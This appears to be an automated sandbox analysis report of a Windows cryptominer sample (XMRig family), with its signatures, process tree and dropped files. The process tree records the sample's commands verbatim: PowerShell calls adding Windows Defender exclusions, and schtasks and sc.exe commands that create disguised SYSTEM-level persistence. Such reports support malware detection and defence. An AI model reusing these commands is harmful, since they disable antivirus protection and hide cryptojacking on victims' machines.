Overview

overview

10

Static

static

3

2026-07-08..._p.exe

windows10-2004-x64

10

2026-07-08..._p.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    4s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 04:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-08_5c24cb7fd8a6a2a313e09580de3658bf_coinminer_dosia_frostygoop_glassworm_hive_luca-stealer_p.exe
  • Size 4.6MB
  • Sample260708-e8gjgaaz4x
  • SHA256 ba9337f82d9ba9138ad712c56a0407cc517f3227aae5f88df7f35bf5a5feaba7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
discoveryexecutionxmrigminerpersistence

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 17 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 27 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-08_5c24cb7fd8a6a2a313e09580de3658bf_coinminer_dosia_frostygoop_glassworm_hive_luca-stealer_p.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-08_5c24cb7fd8a6a2a313e09580de3658bf_coinminer_dosia_frostygoop_glassworm_hive_luca-stealer_p.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:5536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:5676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4908
    • C:\ProgramData\MiningApp\netsvcs\vltrig.exe
      C:\ProgramData\MiningApp\netsvcs\vltrig.exe --config=C:\ProgramData\MiningApp\netsvcs\config.json
      2⤵
        PID:5096
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /tn WindowsNetworkHelper /sc onstart /ru SYSTEM /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" /rl HIGHEST
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:480
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /tn WindowsNetworkHelperLogon /sc onlogon /ru SYSTEM /tr "\"C:\ProgramData\MiningBackup\RuntimeBroker.exe\" --guard" /rl HIGHEST
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4068
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /tn WindowsNetworkHelperUser /sc onlogon /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1588
      • C:\Windows\system32\sc.exe
        sc create systemd-networkd-helper binPath= "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" start= auto depend= Themes/EventLog obj= LocalSystem
        2⤵
        • Launches sc.exe
        • System Time Discovery
        PID:5368
      • C:\Windows\system32\sc.exe
        sc start systemd-networkd-helper
        2⤵
        • Launches sc.exe
        PID:124
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4024
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:5064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2088
      • C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
        C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe --guard
        2⤵
          PID:1564
      • C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
        "C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe"
        1⤵
          PID:772
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4472
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5008
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5628
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:1704
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4060
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:6004
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4388
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5216
          • C:\ProgramData\MiningApp\netsvcs\vltrig.exe
            C:\ProgramData\MiningApp\netsvcs\vltrig.exe --config=C:\ProgramData\MiningApp\netsvcs\config.json
            2⤵
              PID:2208
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /tn WindowsNetworkHelper /sc onstart /ru SYSTEM /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" /rl HIGHEST
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3972
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /tn WindowsNetworkHelperLogon /sc onlogon /ru SYSTEM /tr "\"C:\ProgramData\MiningBackup\RuntimeBroker.exe\" --guard" /rl HIGHEST
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5644
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /tn WindowsNetworkHelperUser /sc onlogon /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard"
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:6060
            • C:\Windows\system32\sc.exe
              sc create systemd-networkd-helper binPath= "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" start= auto depend= Themes/EventLog obj= LocalSystem
              2⤵
              • Launches sc.exe
              • System Time Discovery
              PID:5560
            • C:\Windows\system32\sc.exe
              sc start systemd-networkd-helper
              2⤵
              • Launches sc.exe
              PID:5564
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3540
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:1248
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:1712
          • C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
            "C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe" --guard
            1⤵
              PID:2808
            • C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
              "C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe" --guard
              1⤵
                PID:4244

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    .guard.log
                    • Path C:\ProgramData\MiningApp\netsvcs\.guard.log
                    • Size 342B
                    • SHA256 be9c21186cb4d2d47950d8b34ad67990ecf74279cb6a143e0493e7ac1c4a9b34
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    .guard.log
                    • Path C:\ProgramData\MiningApp\netsvcs\.guard.log
                    • Size 427B
                    • SHA256 31f358c154d321456db65e2f0620095f7dd4f7ec85e83d979dc80875bc08bbb3
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    .guard.log
                    • Path C:\ProgramData\MiningApp\netsvcs\.guard.log
                    • Size 469B
                    • SHA256 4e3e4b44a3fa27b7533aa5b59e0c0c3cf9a63344e739966e90b70276ca439ade
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    .guard.log
                    • Path C:\ProgramData\MiningApp\netsvcs\.guard.log
                    • Size 219B
                    • SHA256 fe21c1b98918dc81396fbb67de1392d401b292ef9916964ffea125c2bcc71f68
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    .guard.log
                    • Path C:\ProgramData\MiningApp\netsvcs\.guard.log
                    • Size 299B
                    • SHA256 bb937f99dd7b274a4ee59b677978a499ec800bda03a3f2d167e8aba1a167b432
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    .worker
                    • Path C:\ProgramData\MiningApp\netsvcs\.worker
                    • Size 18B
                    • SHA256 02c363482606bdab4eca0328eabb0a728faa441e2d1431ce02b4d88bcb24bf33
                    • MD5 SHA1 SHA512
                    Submit Download

                    RuntimeBroker.exe
                    • Path C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
                    • Size 4.6MB
                    • SHA256 ba9337f82d9ba9138ad712c56a0407cc517f3227aae5f88df7f35bf5a5feaba7
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    config.json
                    • Path C:\ProgramData\MiningApp\netsvcs\config.json
                    • Size 545B
                    • SHA256 ce7a19c106c5cc7bb29b7638d878dfaa07e0619d9702eafffdc7aa77c18fecb9
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    vltrig.exe
                    • Path C:\ProgramData\MiningApp\netsvcs\vltrig.exe
                    • Size 9.2MB
                    • SHA256 db49da040d1351fad14abb792ac5f1ffd44c01f89cf7c0a731d50a0c8ccc0923
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ModuleAnalysisCache
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                    • Size 67KB
                    • SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 305779ff8878f154994e4d5e1f092c5e6a2002f11dd64f74ca1e86d63c2e9733
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 3b925157ab63a3c30b53460bc2e3569e21546bb501dd293880a38a20b7e441c8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 5eac199bb62323975cf2b7659d7b219bc97601cff40df2f432f9b157f6791aaf
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 5e12af32651f260915dc5a7405f328f2760fd5e5f19e87b9bdbc6474280b731f
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 4eb6cc2531225a39ecef5000630f9f71b348e9b7fe648240a6a884bb269b4850
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 b8549c9992115c3b8fe369a985f06cef943432ba2ac9de1079c7d47c7b227ff8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 80908e1df1b1f65659ba411d3e24c2c53bb6a4810c888b07df00ea8a05493677
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 0d51dd4db7c51dc7baf89763068193ef0db3bbc38c2dd1d334d1c74098dd9186
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 f0d5930deabecf0590da276ae327ca1ae023892a6dc5f2d4e0807f8601bb3603
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 a51a31e4994ea687efe411b62fcd53042b8c516c0c491e48e77de504350ca4d8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 278987269a21e54c529a2abf00b1ce230b61343f9c9f3f3c0c28690bb9b6f91f
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 756f9d908b06629f23a9ac5dedb3ee80887c55826484b9aac19ad6371492ef4e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 f80675de2bea97f4fe587313c8d5009049f01457c1f6185c02c4abba0517b2fe
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 bc10cf7da369b234ebc5c199e65f9124ebdbbb175b1fb4c7537c7745284a7a28
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 617f5c522b1166c2008482efdc0be86819e1ba6ff93ed9be374da541a395ffc6
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 168454fbd10bd6c316787e0630eccd8473426abab36526d9269a91f4bb86727e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 06682844981cb247bcb48e8fa5dc65207b4b9de791a4b7f409c34ef2083c4b4a
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 f788757bce52fa84d6a58e1c7ae0e891bee10854ee5a5658595b44f5ae39d0c8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    __PSScriptPolicyTest_jhr353mk.0is.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhr353mk.0is.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    Microsoft.PowerShell_profile.ps1
                    • Path C:\Windows\system32\config\systemprofile\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
                    • Size 956B
                    • SHA256 bfa1045810a9316164dc2b9eeb5191a4d60420d728c414daf411c01b59d57fcb
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    memory/2068-25-0x00000207ADAB9000-0x00000207ADABF000-memory.dmp
                    Download

                    memory/2068-19-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-4-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-5-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-6-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-9-0x00000207ADA70000-0x00000207ADA92000-memory.dmp
                    Download

                    memory/2068-10-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-11-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-12-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-56-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-26-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-13-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-3-0x00007FFCF98AF000-0x00007FFCF98B0000-memory.dmp
                    Download

                    memory/2068-23-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-22-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-17-0x00000207ADC60000-0x00000207ADD12000-memory.dmp
                    Download

                    memory/2068-21-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-16-0x00000207ADC40000-0x00000207ADC5E000-memory.dmp
                    Download

                    memory/2068-20-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-98-0x00007FFCF9720000-0x00007FFCFA0C4000-memory.dmp
                    Download

                    memory/2068-18-0x00000207ADC30000-0x00000207ADC3A000-memory.dmp
                    Download

                    memory/2208-180-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/2208-187-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/4472-102-0x0000024A36290000-0x0000024A36342000-memory.dmp
                    Download

                    memory/5096-186-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-114-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-179-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-132-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-82-0x000001AE6BC70000-0x000001AE6BC90000-memory.dmp
                    Download

                    memory/5096-150-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-145-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-122-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-97-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-196-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-103-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-168-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-214-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download

                    memory/5096-99-0x00007FF7480E0000-0x00007FF748AD6000-memory.dmp
                    Download